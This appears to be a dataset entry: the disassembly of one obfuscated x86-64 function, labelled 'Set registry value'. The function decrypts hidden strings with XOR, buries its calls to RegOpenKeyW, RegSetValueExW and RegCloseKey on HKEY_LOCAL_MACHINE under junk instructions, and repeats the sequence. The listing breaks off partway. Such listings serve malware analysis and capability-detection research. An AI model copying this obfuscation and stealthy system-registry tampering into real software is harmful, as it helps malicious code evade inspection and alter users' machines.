Function at 0x1403ff5f0
Capabilities:
Set registry value

Disassembly:
push r15
ror r15b, cl
push r14
btr r15, r13
bts r15, r10
push r13
rcl ah, cl
cbw
shl r13b, 0x47
push r12
push rsi
push rdi
bsr ax, cx
push rbp
sal sil, 0xf4
btc di, r15w
push rbx
movsx edi, bx
sbb si, 0x2554
sub rsp, 0x2f8
lahf
xchg bpl, al
movabs rax, 0xe009ec3224c8fd6e
mov r13, 0x32fb53a6
jmp 0x1403ff645
mov qword [rsp + 0x2e0], rax
mov qword [rsp + 0x40], rax
cmovns r12w, sp
jmp 0x1403ff65e
movabs rax, 0x2204bcb80ebea5a3
mov r14d, esi
not si
mov qword [rsp + 0x2d8], rax
mov qword [rsp + 0x48], rax
movzx si, r9b
mov rax, r9
movabs rax, 0xfbc9f38de01f2fa2
mov qword [rsp + 0x2d0], rax
movzx rbp, si
movsxd r14, r11d
mov qword [rsp + 0x50], rax
cdqe
movabs rax, 0x17a75ff95317a686
mov qword [rsp + 0x2c8], rax
movzx ebx, r13w
movsx r13w, dl
not rbp
mov qword [rsp + 0x58], rax
bswap r14
movzx r12, bp
movabs rax, 0xfd99d5578f55fa6f
setne r14b
mov dil, 0x8a
movzx r14d, bx
mov qword [rsp + 0x2c0], rax
mov qword [rsp + 0x60], rax
jmp 0x1403ff6f5
movabs rax, 0x4b3964fdcd447246
bswap r13w
mov r13w, 0x7b52
mov qword [rsp + 0x2b8], rax
not sil
mov qword [rsp + 0x68], rax
bswap rdi
movzx ebx, bp
movabs rax, 0xee88324679eb2227
movsx r12, sp
mov qword [rsp + 0x2b0], rax
movzx rbx, r11w
xchg r13d, ebx
mov qword [rsp + 0x70], rax
movabs rax, 0x6d7346ad6d4ffefa
cmove di, r10w
mov qword [rsp + 0x2a8], rax
movsx si, cl
mov qword [rsp + 0x78], rax
cbw
movsxd r15, r12d
movabs rax, 0xd093683aef376a76
movsxd rdi, esi
setno r15b
bswap r15d
mov qword [rsp + 0x2a0], rax
movsx ebx, r10w
mov qword [rsp + 0x80], rax
mov edi, 0x7811042d
mov r13b, r8b
movabs rax, 0xa80f93e9d32b8c6f
xchg esi, r13d
mov sil, 0x7a
movsxd r13, ebp
mov qword [rsp + 0x298], rax
movsx r14, r14w
sete bl
mov qword [rsp + 0x88], rax
movsx ebx, r9w
setp bpl
movabs rax, 0x33e730243394033e
not r13b
mov qword [rsp + 0x290], rax
setb r15b
not esi
movzx di, r15b
mov qword [rsp + 0x90], rax
movabs rax, 0xe7e3977e114e6703
mov esi, 0x5ee952cb
movzx ebx, cx
mov qword [rsp + 0x288], rax
setl bpl
mov qword [rsp + 0x98], rax
movzx ax, r8b
movsx rbp, r15w
movabs rax, 0xb0b65ec58a603c8
not r14w
setp dil
cmovbe esi, r13d
mov qword [rsp + 0x280], rax
mov qword [rsp + 0xa0], rax
movzx r12d, r9w
not r14b
movabs rax, 0x6708be65ca8156d7
not r14w
cmovae r14, rsp
movsx esi, bp
mov qword [rsp + 0x278], rax
movsx bp, spl
mov qword [rsp + 0xa8], rax
bswap r13w
movsxd r13, ebx
cmovbe ax, r13w
movabs rax, 0x46a7044da5524090
movzx rbx, bp
mov r15w, 0x35de
mov qword [rsp + 0x270], rax
movzx esi, r10w
xchg r12b, sil
mov qword [rsp + 0xb0], rax
bswap ax
movsx ax, ah
movabs rax, 0x4b8cb541ca050f46
movzx rbp, r15w
movsx rbx, si
bswap r14w
mov qword [rsp + 0x268], rax
movzx r12w, dl
movsx rsi, r13w
mov qword [rsp + 0xb8], rax
mov r13d, r13d
cbw
movabs rax, 0xe627ab41184af921
mov qword [rsp + 0x260], rax
mov r12b, r13b
not r14
xchg dil, bl
mov qword [rsp + 0xc0], rax
cbw
cmovl bp, r10w
movabs rax, 0x34c77b6e31b9a
movsx di, bl
mov qword [rsp + 0x258], rax
mov qword [rsp + 0xc8], rax
xchg bp, r12w
movabs rax, 0xd8cf4ec0049852bb
mov qword [rsp + 0xd0], rax
movzx ebp, sp
movabs rax, 0xa5eac9844f8ea419
cmovp bx, r15w
not r15b
mov qword [rsp + 0xd8], rax
mov qword [rsp + 0x30], 0
jmp 0x1403ff975
mov dword [rsp + 0x3c], 0
movabs rbp, 0x2eb490333e21dae3
bswap si
movzx r15w, bl
cbw
mov qword [rsp + 0xe0], rbp
cmovne si, r9w
cdqe
movabs r14, 0x28903e48668cb956
mov dil, r9b
movsx si, bl
mov qword [rsp + 0xe8], r14
movabs r15, 0xe05dec612491fd3d
jmp 0x1403ff9ca
mov qword [rsp + 0x100], r15
cmovg eax, edx
lahf
movabs r12, 0x2247bce40ef3a5e6
movsx esi, si
mov qword [rsp + 0x108], r12
movzx si, bpl
lahf
movabs rsi, 0xfbacf3ffe06d2fd7
mov qword [rsp + 0x110], rsi
movabs rdi, 0x17c85fba5363a6e8
cwde
mov qword [rsp + 0x118], rdi
movsx r13w, r15b
movabs rax, 0xfdf6d5258f21fa01
setge r13b
cmovs bx, r15w
mov qword [rsp + 0x120], rax
mov rbx, rax
movsx ax, sil
movabs rax, 0x4b4d6498cd17722a
jmp 0x1403ffa4d
mov qword [rsp + 0x2f0], rax
mov r13, r14
mov qword [rsp + 0x128], rax
movabs rax, 0xeefa322379b8227b
jmp 0x1403ffa77
mov qword [rsp + 0x250], rax
setp r13b
jmp 0x1403ffa8c
mov qword [rsp + 0x130], rax
setge r13b
movabs rax, 0x6d1646ce6d26fe8c
cmovne r13d, ebx
not r13d
mov qword [rsp + 0x248], rax
setae r13b
mov qword [rsp + 0x138], rax
cbw
movzx eax, bp
cdqe
movabs rax, 0xd0fb6869ef6b6a05
jmp 0x1403ffadc
mov qword [rsp + 0x240], rax
movzx r13d, r14w
movsxd r13, esp
cmovp r13, rcx
mov qword [rsp + 0x140], rax
lahf
mov ax, sp
movsxd rax, r14d
movabs rax, 0xa86b938cd3598c0e
mov qword [rsp + 0x238], rax
not r13b
xchg r13b, r13b
mov qword [rsp + 0x148], rax
cmovo r13w, di
cwde
movzx r13, r11w
movabs rax, 0x3382304733f7037f
mov r13b, 0x62
setae r13b
mov qword [rsp + 0x230], rax
mov qword [rsp + 0x150], rax
cmove r13w, r15w
movabs rax, 0xe7b39722113d6770
mov qword [rsp + 0x228], rax
mov qword [rsp + 0x158], rax
movzx r13d, r13w
not r13
movabs rax, 0xb66658d58d403a9
mov qword [rsp + 0x220], rax
movzx r13w, r10b
movsx r13d, r13w
movzx r13, dx
mov qword [rsp + 0x160], rax
movzx eax, sp
movabs rax, 0x677abe00caf556b2
mov qword [rsp + 0x218], rax
mov qword [rsp + 0x168], rax
movsx rax, bx
movsxd r13, r13d
mov ax, 0x7d35
movabs rax, 0x46ce040ba50e40e3
mov r13, r13
xchg r13d, r13d
movzx r13, r11w
mov qword [rsp + 0x210], rax
bswap r13w
mov qword [rsp + 0x170], rax
mov r13b, 0x74
bswap ax
movsx r13w, dil
movabs rax, 0x4bedb536ca600f34
movsxd r13, esi
movzx r13w, r12b
mov qword [rsp + 0x208], rax
movsx r13, bx
seto r13b
mov qword [rsp + 0x178], rax
mov r13b, 0xf9
movsx eax, r9w
cmovle ax, r10w
movabs rax, 0xe648ab111826f94d
movsxd r13, r9d
movsx r13w, r13b
bswap r13d
mov qword [rsp + 0x200], rax
mov r13w, 0x4001
mov qword [rsp + 0x180], rax
movsx rax, r15w
movabs rax, 0x7a4c14b68a1bf6
movzx r13w, r8b
mov qword [rsp + 0x1f8], rax
mov qword [rsp + 0x188], rax
movzx eax, bp
cdqe
movsx r13, r9w
movabs rax, 0xd8a24eaf04dc52e7
mov qword [rsp + 0x1f0], rax
mov qword [rsp + 0x190], rax
movsx r13, dx
bswap r13
movabs rax, 0xa5bac9ea4fe7a478
jmp 0x1403ffcad
mov qword [rsp + 0x1e8], rax
xchg r13, r13
not r13b
movsxd r13, r14d
mov qword [rsp + 0x198], rax
jmp 0x1403ffcd0
movabs rax, 0x2edd90553e4eda91
cmovne r13d, r9d
movzx r13d, r8w
not r13b
mov qword [rsp + 0x1e0], rax
movzx r13w, r10b
movsx r13, bx
movsx r13d, sp
mov qword [rsp + 0x1a0], rax
movabs rax, 0x28903e4866e9b93a
mov qword [rsp + 0x1d8], rax
mov r13b, cl
movsx r13d, r11w
cmovae r13w, bp
mov qword [rsp + 0x1a8], rax
setne ah
lahf
mov r13, rdx
lea r13, [rsp + 0x100]
xchg al, al
lahf
mov rax, r13
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403ffd47
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403ffd54
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403ffd5e
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
jmp 0x1403ffd6c
movaps xmm0, xmmword [rsp + 0x60]
jmp 0x1403ffd76
xorps xmm0, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm0
jmp 0x1403ffd84
movaps xmm0, xmmword [rsp + 0x70]
jmp 0x1403ffd8e
xorps xmm0, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm0
jmp 0x1403ffd9c
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x1403ffda9
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
movaps xmm0, xmmword [rsp + 0x90]
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x1403ffdd6
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x1403ffde7
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x1403ffdf4
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x1403ffe05
movaps xmm0, xmmword [rsp + 0xc0]
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1403ffe21
movaps xmm0, xmmword [rsp + 0xd0]
jmp 0x1403ffe2e
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1403ffe42
movaps xmm0, xmmword [rsp + 0xe0]
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
jmp 0x1403ffe5e
lea rdx, [rsp + 0x40]
movsx rcx, r11w
jmp 0x1403ffe6c
lea r8, [rsp + 0x30]
movsx cx, r13b
mov rcx, 0xffffffff80000002
jmp 0x1403ffe82
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
movabs rax, 0xe03fec0024fffd78
jmp 0x1403ffe97
mov qword [rsp + 0x1d0], rax
mov qword [rsp + 0x40], rax
movabs rax, 0x222ebca20e96a58a
jmp 0x1403ffeb3
mov qword [rsp + 0x1c8], rax
jmp 0x1403ffec0
mov qword [rsp + 0x48], rax
movsx ax, dil
nop
cmova ax, sp
movabs rax, 0xfbcdf388e0082fa5
jmp 0x1403ffedf
mov qword [rsp + 0x2e8], rax
jmp 0x1403ffeec
mov qword [rsp + 0x50], rax
movabs rax, 0x17c85fba530fa684
jmp 0x1403fff00
mov qword [rsp + 0x1c0], rax
jmp 0x1403fff0d
mov qword [rsp + 0x58], rax
movsx ax, ch
mov qword [rsp + 0x100], r15
jmp 0x1403fff28
mov qword [rsp + 0x108], r12
cbw
bswap ax
mov qword [rsp + 0x110], rsi
xchg ah, al
setno ah
lahf
mov qword [rsp + 0x118], rdi
cwde
not al
mov rax, r13
jmp 0x1403fff56
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1403fff60
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1403fff6d
movaps xmm0, xmmword [rsp + 0x50]
jmp 0x1403fff77
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
xor edx, 0x6f3b7e83
mov rcx, qword [rsp + 0x30]
inc ah
bsf r9w, ax
lea rax, [rsp + 0x3c]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x28], 4
cmp r10, 0x84444f6
movsx r9, r9w
ror r9b, cl
lea rdx, [rsp + 0x40]
xor r8d, r8d
mov r9d, 4
jmp 0x1403fffc5
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x1403fffd5
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
mov qword [rsp + 0x40], rax
movsxd rax, ecx
cbw
mov rax, qword [rsp + 0x2d8]
jmp 0x1403ffffa
mov qword [rsp + 0x48], rax
bswap ax
mov rax, qword [rsp + 0x2d0]
jmp 0x14040000f
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x140400021
mov qword [rsp + 0x58], rax
movzx eax, r10w
mov rax, qword [rsp + 0x2c0]
jmp 0x140400037
mov qword [rsp + 0x60], rax
not ah
mov rax, qword [rsp + 0x2b8]
jmp 0x14040004b
mov qword [rsp + 0x68], rax
movzx ax, r11b
mov rax, qword [rsp + 0x2b0]
mov qword [rsp + 0x70], rax
movzx rax, r9w
bswap ax
mov rax, qword [rsp + 0x2a8]
jmp 0x140400076
mov qword [rsp + 0x78], rax
movsx rax, si
movzx ax, dl
mov eax, 0x195320cf
mov rax, qword [rsp + 0x2a0]
mov qword [rsp + 0x80], rax
cmova eax, r8d
mov rax, qword [rsp + 0x298]
jmp 0x1404000a9
mov qword [rsp + 0x88], rax
cwde
not al
mov al, r11b
mov rax, qword [rsp + 0x290]
jmp 0x1404000c4
mov qword [rsp + 0x90], rax
movsx eax, bx
movsxd rax, r15d
mov eax, r8d
mov rax, qword [rsp + 0x288]
jmp 0x1404000e2
mov qword [rsp + 0x98], rax
not ah
lahf
mov rax, qword [rsp + 0x280]
jmp 0x1404000fa
mov qword [rsp + 0xa0], rax
cdqe
movsx rax, bp
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
nop
bswap eax
mov rax, qword [rsp + 0x270]
jmp 0x140400129
mov qword [rsp + 0xb0], rax
mov al, 0x92
cbw
cwde
mov rax, qword [rsp + 0x268]
mov qword [rsp + 0xb8], rax
bswap ax
mov rax, qword [rsp + 0x260]
mov qword [rsp + 0xc0], rax
setbe ah
mov rax, qword [rsp + 0x258]
jmp 0x140400169
mov qword [rsp + 0xc8], rax
movabs rax, 0xd8c04eda048c52bb
jmp 0x140400180
mov qword [rsp + 0xd0], rax
cwde
nop
cmovge eax, r14d
movabs rax, 0xa5eac9894f8ea414
jmp 0x14040019d
mov qword [rsp + 0xd8], rax
movzx ax, dl
movzx eax, bp
mov qword [rsp + 0xe0], rbp
movzx ax, spl
lahf
movsxd rbp, ecx
mov qword [rsp + 0xe8], r14
cdqe
movzx eax, r14w
movsx rax, r8w
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cwde
mov qword [rsp + 0x110], rsi
cdqe
mov al, r15b
movsx r14, si
mov qword [rsp + 0x118], rdi
cdqe
mov rbp, rbx
movzx ax, dl
movzx r14d, di
cmovl r14d, edi
mov qword [rsp + 0x120], rbx
mov r14, qword [rsp + 0x2f0]
nop
movzx rax, cx
mov qword [rsp + 0x128], r14
mov rax, qword [rsp + 0x250]
jmp 0x140400235
mov qword [rsp + 0x130], rax
jmp 0x140400247
mov rax, qword [rsp + 0x248]
jmp 0x140400254
mov qword [rsp + 0x138], rax
bswap ax
jmp 0x140400268
mov rax, qword [rsp + 0x240]
jmp 0x140400275
mov qword [rsp + 0x140], rax
cwde
mov rax, qword [rsp + 0x238]
jmp 0x14040028b
mov qword [rsp + 0x148], rax
movzx rax, sp
mov rax, qword [rsp + 0x230]
jmp 0x1404002a4
mov qword [rsp + 0x150], rax
xchg al, ah
mov al, 0xb0
mov ah, dh
mov rax, qword [rsp + 0x228]
jmp 0x1404002bf
mov qword [rsp + 0x158], rax
mov rax, qword [rsp + 0x220]
jmp 0x1404002d4
mov qword [rsp + 0x160], rax
movsx rax, sp
movsx eax, r15w
mov rax, qword [rsp + 0x218]
jmp 0x1404002f1
mov qword [rsp + 0x168], rax
movsx ax, r14b
mov rax, qword [rsp + 0x210]
jmp 0x14040030b
mov qword [rsp + 0x170], rax
movsxd rax, r12d
cmovae ax, r11w
setl al
mov rax, qword [rsp + 0x208]
mov qword [rsp + 0x178], rax
movzx ax, r13b
setnp al
mov rax, qword [rsp + 0x200]
jmp 0x140400343
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x1f8]
mov qword [rsp + 0x188], rax
bswap rax
movzx rax, ax
mov rax, qword [rsp + 0x1f0]
jmp 0x14040036f
mov qword [rsp + 0x190], rax
mov rax, qword [rsp + 0x1e8]
jmp 0x140400384
mov qword [rsp + 0x198], rax
movsx rax, r15w
cmove eax, r12d
cwde
mov rax, qword [rsp + 0x1e0]
jmp 0x1404003a2
mov qword [rsp + 0x1a0], rax
mov rax, qword [rsp + 0x1d8]
jmp 0x1404003b7
mov qword [rsp + 0x1a8], rax
mov rax, r13
jmp 0x1404003c7
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404003d1
movaps xmm1, xmmword [rsp + 0x50]
jmp 0x1404003db
movaps xmm2, xmmword [rsp + 0x60]
xorps xmm0, xmmword [rax]
movaps xmm3, xmmword [rsp + 0x70]
jmp 0x1404003ed
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404003f7
xorps xmm1, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm1
xorps xmm2, xmmword [rax + 0x20]
movaps xmmword [rsp + 0x60], xmm2
xorps xmm3, xmmword [rax + 0x30]
movaps xmmword [rsp + 0x70], xmm3
movaps xmm0, xmmword [rsp + 0x80]
jmp 0x14040041f
xorps xmm0, xmmword [rax + 0x40]
movaps xmmword [rsp + 0x80], xmm0
jmp 0x140400430
movaps xmm0, xmmword [rsp + 0x90]
jmp 0x14040043d
xorps xmm0, xmmword [rax + 0x50]
movaps xmmword [rsp + 0x90], xmm0
jmp 0x14040044e
movaps xmm0, xmmword [rsp + 0xa0]
jmp 0x14040045b
xorps xmm0, xmmword [rax + 0x60]
movaps xmmword [rsp + 0xa0], xmm0
jmp 0x14040046c
movaps xmm0, xmmword [rsp + 0xb0]
jmp 0x140400479
xorps xmm0, xmmword [rax + 0x70]
movaps xmmword [rsp + 0xb0], xmm0
jmp 0x14040048a
movaps xmm0, xmmword [rsp + 0xc0]
jmp 0x140400497
xorps xmm0, xmmword [rax + 0x80]
movaps xmmword [rsp + 0xc0], xmm0
jmp 0x1404004ab
movaps xmm0, xmmword [rsp + 0xd0]
xorps xmm0, xmmword [rax + 0x90]
movaps xmmword [rsp + 0xd0], xmm0
jmp 0x1404004c7
movaps xmm0, xmmword [rsp + 0xe0]
jmp 0x1404004d4
xorps xmm0, xmmword [rax + 0xa0]
movaps xmmword [rsp + 0xe0], xmm0
cdq
lea rdx, [rsp + 0x40]
movzx r8, r14w
movzx r8w, r8b
mov rcx, 0xffffffff80000002
movsx r8w, bl
xchg r8b, r8b
jmp 0x140400506
lea r8, [rsp + 0x30]
jmp 0x140400510
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyW]
mov rax, qword [rsp + 0x1d0]
movsxd rbx, eax
mov qword [rsp + 0x40], rax
cwde
not rbx
mov rax, qword [rsp + 0x1c8]
mov qword [rsp + 0x48], rax
movsx ax, spl
mov al, 0x26
not bl
mov rbx, qword [rsp + 0x2e8]
mov qword [rsp + 0x50], rbx
mov rax, qword [rsp + 0x1c0]
jmp 0x14040055a
mov qword [rsp + 0x58], rax
cmovl ax, r12w
cdqe
movsx rax, r9w
mov qword [rsp + 0x100], r15
mov qword [rsp + 0x108], r12
cwde
mov qword [rsp + 0x110], rsi
nop
mov qword [rsp + 0x118], rdi
movzx ax, r15b
movzx eax, r9w
jmp 0x14040059a
mov rax, r13
jmp 0x1404005a2
movaps xmm0, xmmword [rsp + 0x40]
jmp 0x1404005ac
xorps xmm0, xmmword [rax]
movaps xmmword [rsp + 0x40], xmm0
jmp 0x1404005b9
movaps xmm0, xmmword [rsp + 0x50]
xorps xmm0, xmmword [rax + 0x10]
movaps xmmword [rsp + 0x50], xmm0
shld ax, r13w, 0x1e
inc edx
and r9b, bl
mov rcx, qword [rsp + 0x30]
btr ax, r13w
cmove r9w, bp
rol r9w, 0xf1
lea rax, [rsp + 0x3c]
sub r9b, 0xb9
mov qword [rsp + 0x20], rax
xor rdx, r15
and r9b, 0xe2
mov dh, 0x3e
mov dword [rsp + 0x28], 4
xor dx, 0x60f8
lea rdx, [rsp + 0x40]
movsxd r9, r15d
rcl r9, 0x5d
not r9w
xor r8d, r8d
mov r9d, 4
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
jmp 0x140400634
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rax, qword [rsp + 0x2e0]
jmp 0x140400647
mov qword [rsp + 0x40], rax
mov ax, cx
mov rax, qword [rsp + 0x2d8]
jmp 0x14040065c
mov qword [rsp + 0x48], rax
movsx ax, spl
mov rax, qword [rsp + 0x2d0]
jmp 0x140400673
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x2c8]
jmp 0x140400685
mov qword [rsp + 0x58], rax
cmovo ax, bp
movzx eax, sp
movzx rax, sp
mov rax, qword [rsp + 0x2c0]
jmp 0x1404006a2
mov qword [rsp + 0x60], rax
lahf
mov rax, qword [rsp + 0x2b8]
jmp 0x1404006b5
mov qword [rsp + 0x68], rax
cmovl rax, rdx
mov ax, si
jmp 0x1404006c6
mov rax, qword [rsp + 0x2b0]
jmp 0x1404006d3
mov qword [rsp + 0x70], rax
cdqe
mov al, bpl
mov rax, qword [rsp + 0x2a8]
jmp 0x1404006ea
mov qword [rsp + 0x78], rax
cbw
movzx ax, r11b
movzx eax, bp
mov rax, qword [rsp + 0x2a0]
jmp 0x140400706
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x298]
jmp 0x14040071b
mov qword [rsp + 0x88], rax
mov rax, qword [rsp + 0x290]
mov qword [rsp + 0x90], rax
movzx ax, r15b
cdqe
not ax
mov rax, qword [rsp + 0x288]
jmp 0x14040074a
mov qword [rsp + 0x98], rax
mov rax, qword [rsp + 0x280]
jmp 0x14040075f
mov qword [rsp + 0xa0], rax
movsx ax, r11b
movsx rax, sp
mov rax, qword [rsp + 0x278]
mov qword [rsp + 0xa8], rax
cbw
movsx rax, r12w
mov al, bl
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xb0], rax
cdqe
mov al, spl
mov rax, qword [rsp + 0x268]
jmp 0x1404007aa
mov qword [rsp + 0xb8], rax
mov rax, r9
cbw
not rax
mov rax, qword [rsp + 0x260]
jmp 0x1404007c7
mov qword [rsp + 0xc0], rax
jmp 0x1404007d8
mov rax, qword [rsp + 0x258]
jmp 0x1404007e5
mov qword [rsp + 0xc8], rax
movsxd rax, ebx
movabs rax, 0xd8c34edb048f52bb
jmp 0x1404007ff
mov qword [rsp + 0xd0], rax
movabs rax, 0xa5c8c98b4f83a416
jmp 0x140400816
mov qword [rsp + 0xd8], rax
movsx eax, r8w
movzx eax, dx
mov ah, 0x84
movabs rax, 0x2eb290273e1edaf5
jmp 0x140400837
mov qword [rsp + 0xe0], rax
movabs rax, 0x28f53e246680b95c
mov qword [rsp + 0xe8], rax
movzx rax, r10w
mov eax, 0xe723d0
mov qword [rsp + 0x100], r15
movzx rax, r13w
mov ax, 0x1c58
nop
mov qword [rsp + 0x108], r12
cmovl rax, rcx
jmp 0x14040087d
mov qword [rsp + 0x110], rsi
movzx rax, si
lahf
mov al, ah
mov qword [rsp + 0x118], rdi
not ah
mov qword [rsp + 0x120], rbp
not al
movsx ax, bpl
mov qword [rsp + 0x128], r14
movsxd rax, r13d
cbw
mov rax, qword [rsp + 0x250]
jmp 0x1404008bf
mov qword [rsp + 0x130], rax
cdqe
movzx eax, di
mov rax, qword [rsp + 0x248]
jmp 0x1404008d9
mov qword [rsp + 0x138], rax
movsx eax, r14w
cmovno ax, bx
setl al
mov rax, qword [rsp + 0x240]
mov qword [rsp + 0x140], rax
movsx eax, r14w
mov rax, qword [rsp + 0x238]
jmp 0x14040090d
mov qword [rsp + 0x148], rax
cbw
mov rax, qword [rsp + 0x230]
jmp 0x140400924
mov qword [rsp + 0x150], rax
movsxd rax, ebx
jmp 0x140400937
mov rax, qword [rsp + 0x228]
jmp 0x140400944
mov qword [rsp + 0x158], rax
cbw
movzx eax, si
not ax
mov rax, qword [rsp + 0x220]
jmp 0x140400961
mov qword [rsp + 0x160], rax
mov rax, qword [rsp + 0x218]
jmp 0x140400976
mov qword [rsp + 0x168], rax
cmovo rax, r13
mov rax, qword [rsp + 0x210]
jmp 0x14040098f